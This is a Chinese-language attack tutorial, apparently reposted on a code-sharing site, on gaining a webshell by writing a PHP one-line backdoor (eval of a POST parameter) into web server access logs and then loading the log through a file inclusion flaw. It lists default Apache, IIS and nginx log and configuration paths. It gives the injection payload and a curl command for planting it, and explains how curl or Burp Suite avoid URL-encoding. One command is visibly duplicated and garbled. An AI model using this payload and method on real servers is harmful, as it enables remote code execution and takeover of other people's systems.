包含日志文件getshell


包含日志文件getshell
 
 
一、包含日志文件漏洞利用概述
 
        當我們沒有上傳點,並且也沒有url_allow_include功能時,我們就可以考慮包含服務器的日志文件。        利用思路也比較簡單,當我們訪問網站時,服務器的日志中都會記錄我們的行為,當我們訪問鏈接中包含PHP一句話木馬時,也會被記錄到日志中。                這時候我們如果知道服務器的日志位置,我們可以去包含這個文件從而拿到shell。其實整個“包含日志文件漏洞利用”最關鍵的就是找日志存放的“物理路徑”,只要找到日志的物理存放路徑,一切就可以按部就班的完成利用了。         
二、漏洞利用條件
       (1) 日志的物理存放路徑
       (2) 存在文件包含漏洞
 
       (3) curl命令行url請求工具 或者 burpsuit代理;(避免url轉碼的存在)

(3) curl命令行url請求工具 或者 burpsuit代理;
三、 獲取日志存放路徑
一)日志默認路徑
 
(1) apache+Linux日志默認路徑
 
        /etc/httpd/logs/access_log
 
或者
               
        /var/log/httpd/access_log
 
(2) apache+win2003日志默認路徑
 
        D:\xampp\apache\logs\access.log
        D:\xampp\apache\logs\error.log
 
(3) IIS6.0+win2003默認日志文件
 
        C:\WINDOWS\system32\Logfiles
 
(4) IIS7.0+win2003 默認日志文件
 
        %SystemDrive%\inetpub\logs\LogFiles
 
(5) nginx 日志文件
 
        日志文件在用戶安裝目錄logs目錄下
                以我的安裝路徑為例/usr/local/nginx,
                那我的日志目錄就是在/usr/local/nginx/logs里
 
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 
二)web中間件默認配置
 
(1) apache+linux 默認配置文件
 
        /etc/httpd/conf/httpd.conf
或者
         index.php?page=/etc/init.d/httpd
 
(2) IIS6.0+win2003 配置文件
 
        C:/Windows/system32/inetsrv/metabase.xml
 
(3) IIS7.0+WIN 配置文件
 
        C:\Windows\System32\inetsrv\config\applicationHost.config
        
四、實踐測試記錄       一) 工具准備       (1) curl 命令行url訪問工具或者       (2) burpsuit 代理工具
       二)使用瀏覽器直接構造一句話寫入日志測試記錄             (1)瀏覽器構造一句話報錯       首先,我們直接使用瀏覽器來構造“php一句話報錯請求信息”然服務自動記錄此一句話信息到服務器日志文件中;       具體構造內容:  http://127.0.0.1/php/1.php?page=<?php @eval($_POST\[123\]);?>        (2)測試結果:失敗                利用文件包含漏洞直接訪問“服務日志文件”,發現文件包含漏洞並未對構造的php一句話進行正常解析,觀察發現是構造的PHP一句話中的相關字符在記錄進日志文件后,相關的字符被轉碼了,導致PHP解析失敗,具體失敗原因見“失敗原因分析”        (3)失敗原因分析                一句話寫入日志文件的利用過程是,利用瀏覽器直接構造一個關於請求資源的報錯信息,次消息中包含依據。次報錯信息服務自動記錄到日志文件,但實際測試發現寫入日志文件內的報錯信息發生了字符轉碼:               日志文件內容如上圖所示:http://127.0.0.1/php/1.php?%3C?php%20@eval($_POST[123]);?%3E                 "<"  ----> 大於號被轉碼為了 %3C
                ">"  ----> 小於號被轉碼為了 %3E
                " "   ----> 空格被轉碼為了 %20
                最后寫入到日志文件中的一句話就變成了  %3C?php%20@eval($_POST[123]);?%3E。
         (4) 失敗總結
                 瀏覽器直接構造的PHP一句話中特殊字符,會被瀏覽器自動進行URL轉義,導致最終寫入日志文件中的PHP一句話包含了這些特殊字符,而這些轉碼后的編碼PHP並不能進行正常的解析。
           
      三)curl 構造一句話,寫入日志文件測試記錄
       (1) curl 構造一句話寫入服務日志文件             構造語句:  D:\curl>curl -v "http://127.0.0.1/php/1.php?page=<?php @eval($_POST\[123\]);?>"?page=<?php @eval($_POST\[123\]);?>"
 
   
                
              curl構造一句話時,需要注意兩點:
               1)請求的資源對象,需要被雙引號包含,不然會報錯;
            2) php一句話中的 綜括號[ ]curl是特殊符號,需要進行轉義 \[ \],不然curl使用時也會報錯;
        (2)測試結果:成功
   
 
             
 
       (3) 成功原因
              Curl 命令行url資源請求,沒有像瀏覽器對特殊字符進行url的轉碼,所以原封不動的將請求報錯的php一句話信息寫入了服務日志文件中。隨后我們利用文件包含漏洞正常包含解析了本地服務器的日志文件中夾帶的“php一句話木馬”;
 
        四)burpsuit 代理抓包改包構造一句話寫入日志文件
 
       (1) burpsuit 代理抓包,修改瀏覽器轉碼字符,寫入正確的php一句話木馬到服務器日志文件。
 
 
       (2) 測試記錄:成功
        通過文件包含直接訪問服務日志文件,發現一句話被繼續成功; 
 
 
       (3)成功原因
        使用burpsuit修改了瀏覽器訪問轉碼的字符,事情安裝我們一句話原本的格式記錄進日志文件,並能被php正常解析。    
 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2026 CODEPRJ.COM